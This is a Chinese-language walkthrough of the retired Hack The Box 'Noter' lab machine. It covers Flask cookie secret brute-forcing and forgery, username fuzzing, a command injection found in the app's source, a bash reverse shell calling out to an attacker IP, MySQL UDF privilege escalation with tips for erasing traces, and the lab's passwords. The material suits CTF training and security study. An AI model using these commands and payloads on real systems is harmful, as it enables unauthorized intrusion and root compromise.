概述 (Overview)
HOST: 10.10.11.160
OS: LINUX
发布时间: 2022-05-08
完成时间: 2022-06-22
机器作者: kavigihan
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #Node #Flask #SourceCodeAnalysis #Fuzzing #MysqlUDF
攻击链 (Kiillchain)
使用 Nmap 扫描目标服务器开放端口,发现 5000 端口存在 Web 服务。对其进行分析发现 Cookie 存在授信会话伪造,利用该风险结合用户枚举成功登录控制台。在控制消息列表中找到 FTP 登录账号,进一步在 FTP 文件 PDF 中找到默认口令生成规则,成功已 ftp_admin 身份得到 Web 服务源代码备份压缩包。经过代码审计成功找到命令注入,成功拿到初步的立足点。最终通过信息收集发现 mysql udf 攻击路径,完成权限提升。
枚举(Enumeration)
老样子,还是使用 Nmap 对目标服务器开放端口进行扫描。
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA) | 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA) |_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519) 5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10) |_http-title: Noter | http-methods: |_ Supported Methods: GET OPTIONS HEAD |_http-server-header: Werkzeug/2.0.2 Python/3.8.10 Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
能在指纹中获悉 5000 端口的 Web 服务对外开放,组件用的 Werkzeug,这也许是我们打点的突破口。
Port 5000 - Werkzeug
通过浏览器进行访问,能够得到一个登录页面:
观察到返回请求的 Cookie 中生成了一段类似 JWT 的字符串,使用 jwt_tools 工具进行解析提示错误,说明它不是一个有效的 JWT 或者存在错误。使用 burp 的 JWT 插件解出来存在乱码:
通过 google 进行语法搜索,找到对该应用的 Cookie 相关文章 https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask
里面指向一个python工具 flask-unsign - https://pypi.org/project/flask-unsign/ ,通过它能够从加密字符串中提取信息:
$ flask-unsign --decode --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdCJ9.YrKNTw.mlFylGN0VdYZDqdsNjdsXBlfKgQ"
{'logged_in': True, 'username': 'test'}
接下来尝试伪造授信加密字符串,但需要知道有效的签名。观察工具帮助信息中存在暴力枚举功能,所以使用它成功得到了有效的签名。
$ flask-unsign --unsign --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdCJ9.YrKNTw.mlFylGN0VdYZDqdsNjdsXBlfKgQ" --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
[*] Session decodes to: {'logged_in': True, 'username': 'test'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17024 attempts
b'secret123'
能够伪造授信会话后又面对新的问题,需要寻找存在的登录账号。还好这步比较简单,只要观察返回信息就能推断出已注册的用户。
用户不存在返回:Invalid login,用户存在返回:Invalid credentials。根据这一信息,使用 ffuf 工具对登录请求进行 fuzzing。
$ ffuf -w ./SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&password=admin" -u http://10.10.11.160:5000/login -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid credentials"
...snip...
blue [Status: 200, Size: 2027, Words: 432, Lines: 69, Duration: 655ms]
:: Progress: [10177/10177] :: Job [1/1] :: 224 req/sec :: Duration: [0:00:46] :: Errors: 0 ::
成功枚举出一个 blue 用户,伪造该用户的授信会话成功进入控制台。
$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YrKRKw.gQESJBT_qzP5pv35XwMB2gwdnkw
在里面能看到 ftp_admin 用户发的消息,里面有一组账号密码。
第一反应是 ssh 登录,但发现一登录就被 kill 了会话。
立足点(Foothold)
登录 FTP 服务进行查看,发现就一个 PDF 文件。
从里面的内容可以找账号口令生成规则,根据这一特效登录 ftp_admin 账号。
ftp_admin ftp_admin@Noter!
发现里面存在两个应用备份文件,下载到本地进行分析。这里我直接采用 diff 命令进行文件夹内容比对:
对代码进行审计,发现 export_note_remote 方法存在命令注入漏洞:
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
if check_VIP(session['username']):
try:
url = request.form['url']
status, error = parse_url(url)
if (status is True) and (error is None):
try:
r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
else:
return render_template('export_note.html', error="Error occured while exporting the !")
except Exception as e:
return render_template('export_note.html', error="Error occured!")
else:
return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
except Exception as e:
return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")
else:
abort(403)
对传递的 url 参数进行出网验证,成功。
在本地创建的 md 文件中写入反弹 shell 语句,成功得到立足点。
实际脚本运行的恶意 bash 如下:
node misc/md-to-pdf.js $'--';bash -i >& /dev/tcp/10.10.17.64/9090 0>&1;'--' {1...1000}
权限提升(Privilege Escalation)
传递 linpeas 脚本至目标服务器执行,对服务器环境进行深度的脆弱性分析。其中发现 mysql 服务是已 root 用户启动的,而通过前面的代码审计已经知道了 mysql 登录口令,这意味着我们可以尝试 UDF 提权。
UDF 的利用有一个前提, mysql.user 具备本地文件读写权限
User-Defined Function (UDF) Dynamic Library - https://www.exploit-db.com/exploits/1518
接下来开始利用过程,首先使用 mysql 的 -e
参数执行 sql 语句,查询 plugin 的本地路径:
$ mysql -uroot -pNildogg36 -Dapp -e "show variables like '%plugin%';"
Variable_name Value
plugin_dir /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
plugin_maturity gamma
随后将 MSF 中 UDF 利用组件 /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so 文件传递至目标服务器,利用 load_file 函数将文件的内容生成十六进制字符串。随后将这串十六进制内容通过 unhex 函数 dumpfile 到 plugin 路径下。
select hex(load_file('/home/svc/lib_mysqludf_sys_64.so')) into outfile '/tmp/udf.txt';
select unhex('7F454C4602010100000......') into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/mysqludf.so'
导出至 plugin 文件后,需要运行 create 语句对其进行加载,才能运行 so 文件内的自定义函数。
create function sys_exec returns int soname 'udf.dll';
题外话
# 如果要删除函数(清除痕迹),udf文件必须还存在plugin目录下
drop function sys_eval;
或
delete from mysql.func where name='sys_eval';
参看 lib_mysqludf_sys_64.so 支持哪些函数可运行 $ nm -D lib_mysqludf_sys_64.so